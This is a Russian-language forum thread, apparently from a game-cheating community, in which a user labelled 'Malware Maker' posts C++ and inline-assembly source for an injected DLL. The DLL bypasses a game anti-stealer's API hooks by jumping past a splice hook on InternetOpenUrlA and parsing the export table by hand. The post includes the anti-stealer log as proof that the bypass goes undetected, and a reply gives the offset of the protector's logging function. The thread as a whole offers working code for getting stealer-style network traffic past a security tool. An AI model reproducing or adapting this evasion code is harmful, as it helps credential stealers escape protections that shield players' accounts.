Исходник [C++] Обходим Анти-стиллер by DarkP1xel

Статус
В этой теме нельзя размещать новые ответы.

ЯedЯuM

Malware Maker
Автор темы
242
302
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Этот туториал создан исключительно в познавательных целях.
Я не преследую никаких намерений обидеть разработчика анти-стиллера.
Всего лишь хочу показать его главную уязвимость чтобы автор наконец её исправил.

В качестве примера будет использована WIN API функция InternetOpenUrlA с wininet.dll
Метод обхода заключается в "перепрыгивании" splice-хука через свою функцию-прослойку.
Для начала подключим в наш DLL проект необходимые библиотеки и заголовки.
C++:
#include <windows.h>
#include <wininet.h>
#include <fstream>
#include <thread>
#pragma comment(lib, "wininet.lib")
Для обхода сплайс-хука нам нужно сделать так званную "прослойку" с помощью inline-ассемблера.
C++:
DWORD retAddr;
// Чтобы компилятор не генерировал нам пролог и эпилог ставим аттрибут naked
__declspec(naked) void __stdcall EmulateInstructions()
{
    // Эмулируем 5 байт затёртых инструкций от анти-стиллера
    __asm
    {
        // Распакуем аргументы в стэк
        push ebp
        mov ebp, esp
        jmp retAddr; // Вернёмся в оригинальную WIN API функцию
    }
}
Далее нам нужно будет вызвать нашу функцию согласно __stdcall соглашению о вызовах.
Согласно выдержке с msdn это соглашение о вызовах использует порядок аргументов наоборот.
Значит запихаем все аргументы в стэк в обратном порядке.
C++:
// Для обхода GetProcAddress хука использует кастом-функцию
// B идеале вообще искать адрес вин апи сканнером сигнатур чтобы не нарватся на EAT хуки.
FARPROC GetProcedureAddress(HANDLE hModule, char* pszProcName)
{
    IMAGE_DOS_HEADER* pdhDosHeader = (IMAGE_DOS_HEADER*)hModule;
    if (pdhDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
    IMAGE_NT_HEADERS* pndNTHeader = (IMAGE_NT_HEADERS*)(pdhDosHeader->e_lfanew + (long)hModule);
    if (pndNTHeader->Signature != IMAGE_NT_SIGNATURE) return 0;
    IMAGE_EXPORT_DIRECTORY* iedExports = (IMAGE_EXPORT_DIRECTORY*)
    (pndNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (long)hModule);
    long* pNames = (long*)(iedExports->AddressOfNames + (long)hModule);
    short wOrdinalIndex = -1;
    for (int i = 0; i < iedExports->NumberOfFunctions; i++)
    {
        char* pszFunctionName = (char *)(pNames[i] + (long)hModule);
        if (lstrcmpiA(pszFunctionName, pszProcName) == 0)
        {
            wOrdinalIndex = i;
            break;
        }
    }
    if (wOrdinalIndex == -1) return 0;
    short* pOrdinals = (short*)(iedExports->AddressOfNameOrdinals + (long)hModule);
    unsigned long* pAddresses = (unsigned long*)(iedExports->AddressOfFunctions + (long)hModule);
    short wAddressIndex = pOrdinals[wOrdinalIndex];
    return (FARPROC)(pAddresses[wAddressIndex] + (long)hModule);
}
void __stdcall TestCall()
{
    HINTERNET hInternet = InternetOpenA("Google Chrome", 0, 0, 0, 0);
    if (hInternet)
    {
        HINTERNET hInternetUrl;
        // Запишем наш адрес возврата в оригинальную функцию с перепрыгом на 5 байт (Дальше хука антистиллера)
        retAddr = ((DWORD)GetProcedureAddress(GetModuleHandleA("wininet.dll"), "InternetOpenUrlA") + 0x5);
        DWORD DetourAddr = (DWORD)&EmulateInstructions; // Адрес нашей "прослойки"
        char link[] = { "https://pastebin.com/raw/Cv9PSgY0" }; // Ваша ссылка
        __asm // Порядок пушей согласно __stdcall соглашению
        {
            pushfd // Сохраним значения регистров
            lea eax, link // Скопируем в приёмник указатель на нашу ссылку
            push 0
            push 0
            push 0
            push 0
            push eax // Указатель на ссылку
            push hInternet // Хендл интернет-соединения
            call DetourAddr // Вызываем нашу "прослойку"
            mov hInternetUrl, eax // Получим возвращаемый хендл интернет-соединения
            popfd // Восстановим регистры
        }
        if (hInternetUrl)
        {
            DWORD len = 0; char result[1024] = {};
            if (InternetReadFile(hInternetUrl, result, sizeof(result) - 1, &len))
            {
                result[len] = 0;
                // Запишем возвращаемую информацию в текстовик
                FILE *hFile = fopen("__TEST.txt", "a+");
                if (hFile)
                {
                    fprintf(hFile, "%s\n", result);
                    fclose(hFile);
                }
            }
            InternetCloseHandle(hInternetUrl);
        }
        InternetCloseHandle(hInternet);
    }
}
// B DllMain где DLL_PROCESS_ATTACH: создадим новый поток чтобы не фризило игру чтение ссылки
// CreateThread(0, 0, (LPTHREAD_START_ROUTINE)TestInet, 0, 0, 0); // Создание потока
После загрузки нашей DLL-ки в процесс игры, создаст текстовый файл __TEXT.txt с результатом чтения ссылки.
P.S - На всякий случай лучше отключить все C++ оптимизации в настройках проекта.
Лог Анти-стиллера (Как видим не одного PATCHED, а нашей функи даже в варнингах нет)
От остальных варнингов можно тоже избавится если обойти и другие WIN API хуки.
|>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<|
|> | AntiStealer | V4.9.5 | By DarkP1xel | .LOG File | <|
|> Official Web-Site: https://blast.hk/ <|
|> Subscribe to my YouTube Channel: https://vk.cc/5PCsTe <|
|> Official Topic: https://blast.hk/threads/16018/ <|
|> KEEP CALM AND SMOKE SOME WEED <|
|> !AntiStealer LOADED! <|
|>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<|

[WARNING] > [gethostbyname] > [C:\Users\Powerfull\Desktop\GTA San Andreas\samp.dll] > {name: Comparer}
[WARNING] > [InternetOpenA] > [C:\Users\Powerfull\Desktop\GTA San Andreas\SAMPFUNCS\BPS.sf] > {lpszAgent: Google Chrome}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [WinHttpCreateUrl] > [C:\Windows\SYSTEM32\Winhttp.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [WinHttpCreateUrl] > [C:\Windows\SYSTEM32\Winhttp.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {lpUrlComponents->lpszHostName: pastebin.com}
[WARNING] > [GetAddrInfoExW] > [C:\Windows\SYSTEM32\Wininet.DLL] > {pName: pastebin.com}

Автор: Rzeźnik
 
Последнее редактирование:

#Rin

Известный
Всефорумный модератор
1,214
1,043
Можешь еще тут что-то поковырять.
Адрес функции которая вызывается что-бы что-либо записать в лог.
C++:
DWORD LogFunc = (DWORD)GetModuleHandle("!0AntiStealerByDarkP1xel.ASI") + 0x11F10;
 
  • Нравится
Реакции: Dopedealers и ЯedЯuM

ЯedЯuM

Malware Maker
Автор темы
242
302
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

SR_team

like pancake
BH Team
4,803
6,475
Ты сначало его попробуй а потом утверждай, обход проверен на v4.9.5
Пиксель поломал совместимость с wine в 4.9.0

Но вероятно это фикс такой, что бы игру не крашило. Я предлагал крашить игру, если запрос не валиден. Т.к. раньше такой обход вообще в логе не палился.
 

ЯedЯuM

Malware Maker
Автор темы
242
302
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Пиксель поломал совместимость с wine в 4.9.0

Но вероятно это фикс такой, что бы игру не крашило. Я предлагал крашить игру, если запрос не валиден. Т.к. раньше такой обход вообще в логе не палился.
Писал ночью и совсем упустил из виду один момент, у него стоит GetProcAddress хук по этому сапается кастомным парсером EAT.
C++:
FARPROC GetProcedureAddress(HANDLE hModule, char* pszProcName)
{
    IMAGE_DOS_HEADER* pdhDosHeader = (IMAGE_DOS_HEADER*)hModule;
    if (pdhDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
    IMAGE_NT_HEADERS* pndNTHeader = (IMAGE_NT_HEADERS*)(pdhDosHeader->e_lfanew + (long)hModule);
    if (pndNTHeader->Signature != IMAGE_NT_SIGNATURE) return 0;
    IMAGE_EXPORT_DIRECTORY* iedExports = (IMAGE_EXPORT_DIRECTORY*)
    (pndNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (long)hModule);
    long* pNames = (long*)(iedExports->AddressOfNames + (long)hModule);
    short wOrdinalIndex = -1;
    for (int i = 0; i < iedExports->NumberOfFunctions; i++)
    {
        char* pszFunctionName = (char *)(pNames[i] + (long)hModule);
        if (lstrcmpiA(pszFunctionName, pszProcName) == 0)
        {
            wOrdinalIndex = i;
            break;
        }
    }
    if (wOrdinalIndex == -1) return 0;
    short* pOrdinals = (short*)(iedExports->AddressOfNameOrdinals + (long)hModule);
    unsigned long* pAddresses = (unsigned long*)(iedExports->AddressOfFunctions + (long)hModule);
    short wAddressIndex = pOrdinals[wOrdinalIndex];
    return (FARPROC)(pAddresses[wAddressIndex] + (long)hModule);
}
И в том случае даже если он по экспорту адрес свой поставит, всегда можно искать вин апи сканнером сигнатур.
 

SR_team

like pancake
BH Team
4,803
6,475
Писал ночью и совсем упустил из виду один момент, у него стоит GetProcAddress хук по этому сапается кастомным парсером EAT.
C++:
FARPROC GetProcedureAddress(HANDLE hModule, char* pszProcName)
{
    IMAGE_DOS_HEADER* pdhDosHeader = (IMAGE_DOS_HEADER*)hModule;
    if (pdhDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
    IMAGE_NT_HEADERS* pndNTHeader = (IMAGE_NT_HEADERS*)(pdhDosHeader->e_lfanew + (long)hModule);
    if (pndNTHeader->Signature != IMAGE_NT_SIGNATURE) return 0;
    IMAGE_EXPORT_DIRECTORY* iedExports = (IMAGE_EXPORT_DIRECTORY*)
    (pndNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (long)hModule);
    long* pNames = (long*)(iedExports->AddressOfNames + (long)hModule);
    short wOrdinalIndex = -1;
    for (int i = 0; i < iedExports->NumberOfFunctions; i++)
    {
        char* pszFunctionName = (char *)(pNames[i] + (long)hModule);
        if (lstrcmpiA(pszFunctionName, pszProcName) == 0)
        {
            wOrdinalIndex = i;
            break;
        }
    }
    if (wOrdinalIndex == -1) return 0;
    short* pOrdinals = (short*)(iedExports->AddressOfNameOrdinals + (long)hModule);
    unsigned long* pAddresses = (unsigned long*)(iedExports->AddressOfFunctions + (long)hModule);
    short wAddressIndex = pOrdinals[wOrdinalIndex];
    return (FARPROC)(pAddresses[wAddressIndex] + (long)hModule);
}
И в том случае даже если он по экспорту адрес свой поставит, всегда можно искать вин апи сканнером сигнатур.
Это он собирался фиксить в 5.0
244421541247344.png
 
  • Нравится
Реакции: ЯedЯuM
Статус
В этой теме нельзя размещать новые ответы.